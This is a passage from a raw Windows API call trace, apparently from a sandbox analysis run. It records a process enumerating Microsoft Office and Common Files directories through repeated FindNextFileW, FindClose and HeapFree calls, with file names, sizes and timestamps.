ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0173.244] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0173.245] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0 [0173.245] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0173.245] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0173.245] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0173.245] FindClose (in: hFindFile=0x4532040 | out: hFindFile=0x4532040) returned 1 [0173.245] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0173.246] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1 [0173.246] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0173.246] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0173.248] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0173.248] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0173.248] FindClose (in: hFindFile=0x4531f80 | out: hFindFile=0x4531f80) returned 1 [0173.248] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0173.248] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 1 [0173.253] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0173.253] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0173.254] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0173.254] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0173.630] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0173.630] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 0 [0173.630] FindClose (in: hFindFile=0x4532040 | out: hFindFile=0x4532040) returned 1 [0173.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0173.631] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 1 [0173.864] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0173.864] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 0 [0173.864] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0173.864] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0173.866] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Common Programs", cAlternateFileName="COMMON~1")) returned 1 [0173.873] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0173.873] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1 [0173.874] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0173.874] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0174.229] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0174.229] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="private", cAlternateFileName="")) returned 0 [0174.229] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0174.229] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0174.229] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX64", cAlternateFileName="PROGRA~3")) returned 1 [0174.703] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0174.703] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0174.704] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0174.704] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f7aa31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f7aa31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1702b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0174.704] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0174.704] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0174.704] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0174.704] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf086f11e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf086f11e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf086f11e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0174.706] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0174.706] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0174.706] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0174.706] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14c6cb9, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x14c6cb9, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0174.707] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0174.707] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0174.709] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0174.709] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26737b32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0174.814] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0174.814] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0174.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0174.817] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0174.822] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0174.822] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xceb38292, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xceb38292, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe172e9be, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22cad0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0174.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0174.825] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DataModel", cAlternateFileName="DATAMO~1")) returned 1 [0174.831] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0174.831] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17e0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MI1312~1.DLL")) returned 1 [0174.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0174.833] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0174.833] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0174.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0174.833] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x447d6b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x447d6b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0174.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0174.834] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0174.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0174.834] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26a58c7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77e88, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0174.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0174.837] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 0 [0174.837] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0174.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0174.837] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0fbc434, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0fbc434, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c40, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0174.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0174.838] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0174.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0174.840] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0174.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0174.843] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: 